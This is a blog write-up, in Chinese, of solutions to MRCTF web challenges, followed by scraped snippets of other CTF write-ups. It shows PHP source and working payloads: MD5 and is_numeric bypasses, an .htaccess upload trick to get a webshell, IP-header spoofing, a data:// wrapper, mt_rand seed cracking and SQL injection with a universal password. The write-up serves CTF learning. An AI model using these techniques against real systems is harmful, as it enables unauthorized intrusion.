[MRCTF]Web WriteUp

和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的

Ez_bypass

进入题目得到源码:

<?php
include ‘flag.php‘;
$flag=‘MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}‘;
if(isset($_GET[‘gg‘])&&isset($_GET[‘id‘])) {
    $id=$_GET[‘id‘];
    $gg=$_GET[‘gg‘];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo ‘You got the first step‘;
        if(isset($_POST[‘passwd‘])) {
            $passwd=$_POST[‘passwd‘];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo ‘Good Job!‘;
                     highlight_file(‘flag.php‘);
                     die(‘By Retr_0‘);
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo ‘You can not get it !‘;
            }

        }
        else{
            die(‘only one way to get the flag‘);
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die(‘Please input first‘);
}
}
?>

第一层: md5($id) === md5($gg) && $id !== $gg

MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2

第二层: !is_numeric($passwd) &&  $passwd==1234567

is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可  POST: passwd=1234567a

你传你??呢

出题人脾气挺爆的啊,进入题目直接给了一个上传点:

fuzz一下发现后端过滤了所有拓展名中含ph的文件,并且有Content-Type验证

服务器是Apache,不难想到利用.htaccess来将jpg文件当作php文件解析

写一个.htaccess文件,源码如下:

<FilesMatch "jpg">
      SetHandler application/x-httpd-php
</FilesMatch>

上传时注意抓包修改 Content-Type: image/jpeg

上传成功后上传一个jpg拓展名的一句话木马,得到Shell,Flag在根目录下:

PYwebsite

进入题目查看源代码得到一段验证的Js代码:

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }

    }

发现md5验证成功后会跳转到/flag.php,跟进文件看一下:

细品红框中的话,添加XFF头为127.0.0.1  X-Forwarded-For: 127.0.0.1 ,得到Flag:

(这里的一个坑是输出的Flag是白色的,如果没有用Burp或者其他工具看源码,就要右键框选一下文字才能看到)

套娃

第一层,Ctrl+U 查看源代码:

//1st
$query = $_SERVER[‘QUERY_STRING‘];

 if( substr_count($query, ‘_‘) !== 0 || substr_count($query, ‘%5f‘) != 0 ){
    die(‘Y0u are So cutE!‘);
}
 if($_GET[‘b_u_p_t‘] !== ‘23333‘ && preg_match(‘/^23333$/‘, $_GET[‘b_u_p_t‘])){
    echo "you are going to the next ~";
}

NCTF原题改编,构造Payload:

第一个if判断:php会把空格( )或者点(.)自动替换成下划线(_),可以绕过

第二个if判断:prep_match()正则匹配,在23333后面加%0A绕过

最终Payload: b u p t=23333%0A 或 b.u.p.t=23333%0A

得到提示:FLAG is in secrettw.php

进入secrettw.php,右键源代码发现注释中有JsFuck,放进F12运行一下得到:

POST:Merak=1 即可得到源码:

<?php
error_reporting(0);
include ‘takeip.php‘;
ini_set(‘open_basedir‘,‘.‘);
include ‘flag.php‘; 

if(isset($_POST[‘Merak‘])){
    highlight_file(__FILE__);
    die();  //注意这里!如果POST了Merak就会Die
}  

 //重点在这个加密函数上
function change($v){
    $v = base64_decode($v);
    $re = ‘‘;
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}
echo ‘Local access only!‘."<br/>";
$ip = getIp();
if($ip!=‘127.0.0.1‘)
echo "Sorry,you don‘t have permission!  Your ip is :".$ip;
if($ip === ‘127.0.0.1‘ && file_get_contents($_GET[‘2333‘]) === ‘todat is a happy day‘ ){
echo "Your REQUEST is:".change($_GET[‘file‘]);
echo file_get_contents(change($_GET[‘file‘])); }
?>  

分析思路:首先用file_get_contents()函数获取2333参数的内容,要求获取到的内容为todat is a happy day;其次是验证IP是否为127.0.0.1;最后是用解密函数对file参数解密,然后包含输出file参数的值;

第一层用data伪协议就可以直接绕过 index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

第二层IP验证测试了一下常用的Header,发现Client-IP可以绕过,添加Header: Client-IP: 127.0.0.1

第三层对file参数进行了一个解密,反推出加密脚本:

<?php
  function enc($payload){
      for($i=0; $i<strlen($payload); $i++){
        $re .= chr(ord($payload[$i])-$i*2);
      }
      return base64_encode($re);
  }
  echo enc(‘flag.php‘);
  //flag.php加密后得到:ZmpdYSZmXGI=
?>

Payload: file=ZmpdYSZmXGI=

最终Payload: index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=

Header添加: Client-IP: 127.0.0.1

Ezaudit

www.zip源码泄露,里面只有一个index.php文件:

<?php
header(‘Content-type:text/html; charset=utf-8‘);
error_reporting(0);
if(isset($_POST[‘login‘])){
    $username = $_POST[‘username‘];
    $password = $_POST[‘password‘];
    $Private_key = $_POST[‘Private_key‘];
    if (($username == ‘‘) || ($password == ‘‘) ||($Private_key == ‘‘)) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header(‘refresh:2; url=login.html‘);
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != ‘*************‘ )
    {
        header(‘refresh:2; url=login.html‘);
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === ‘************‘){
        $getuser = "SELECT flag FROM user WHERE username= ‘crispr‘ AND password = ‘$password‘".‘;‘;    //直接SQL注入 万能密码就能过去
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 

//代码简化了一下
// genarate public_key
function public_key($length = 16) {
    $strings1 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $public_key = ‘‘;
    for ( $i = 0; $i < 16; $i++ )
    $public_key .= substr($strings1, mt_rand(0, 61), 1);   //BJDCTF 1st 枯燥的抽奖原题
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $private_key = ‘‘;
    for ( $i = 0; $i < 12; $i++ )
    $private_key .= substr($strings2, mt_rand(0, 61), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr‘s private_key???

大概看了一下,这段代码需要三个参数: username(crispr) 、  password(万能密码)  、   Private_key(私钥) 
只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。
根据公钥爆破出mt_rand()的种子:

str1=‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘
str2=‘KVQP0LdJKRaV3n9D‘
str3 = str1[::-1]
length = len(str2)
res=‘‘
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+‘ ‘+str(j)+‘ ‘+‘0‘+‘ ‘+str(len(str1)-1)+‘ ‘
            break
print res

得到种子后再用php_mt_seed爆破一下得到种子: seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)

写个脚本播撒种子,推出私钥:

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $public_key = ‘‘;
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

 function private_key($length = 12) {
    $strings2 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $private_key = ‘‘;
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key()."\n";
echo private_key();
?>

得到私钥为  XuNhoueCDCGc

得到私钥,然后在login.html页面用万能密码登陆进去得到Flag

原文地址:https://www.cnblogs.com/yesec/p/12616923.html

时间: 2024-08-28 06:12:58

[MRCTF]Web WriteUp的相关文章

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

ISCC 2017 Web writeup

ISCC 2017 Web writeupWeb签到题WelcomeToMySQL自相矛盾我们一起来日站I have a jpg,i upload a txt.where is your flagSimple sqli ISCC 2017 Web writeup Web签到题 这种签到题不能往难了想,首先理所当然的这样传参 hiddenflag=f1ag&flag=f1ag 这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑... WelcomeToM

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

[WUST-CTF]Web WriteUp

周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的 直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可 弹出作者的博客地址,跟进去 在作者博客首页可以看到一部分Flag: 根据提示“远古的博客”,找到一篇1970年的文章,文

NJCTF2017 Web Writeup

一个登陆和注册的功能,开始以为是注入,发现并不行.后来尝试了下弱口令 1 2 username:admin password:admin123 结果登录成功了..其实正解是注册时注册用户为admin后跟很多很多空格之后加个a就是注册时拼接到数据库时有长度限制一开始测试不成功是因为空格太少了,尴尬 Get Flag 看起来是一个搜索图片的框输入1.jpg后在返回页面查看源码,发现被base64加密过那么我直接读../../../../../../etc/passwd试试解base64发现确实可以读

MOCTF web writeup

前几天发现一个不错的平台MOCTF但一直没时间刷.这几天陆续更新web题的wp web1:一道水题 进去一堆青蛙 查看源代码,看到flag web2:还是水题 发现密码框输入不了,遂F12审查元素,删除disable属性,以及将长度改为5,输入moctf.得到flag web3:访问限制 题目提示用NAIVE浏览器,于是想到burp改user-agent:NAIVE run得到flag web4:机器蛇 这道题....我...一进去玩了半天的贪吃蛇.... 后来随手审查了元素,发现robots.

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "

1010.CTF 题目之 WEB Writeup 通关大全 – 4

Web题目系列4 上传绕过 题目链接 http://shiyanbar.com/ctf/1781 题目描述 bypass the upload 格式:flag{} 解题思路 随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为 推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题. flag{SimCTF_huachuan} NSCTF web200 题目链接 http://shiyanbar.com/ctf/1760 题目描述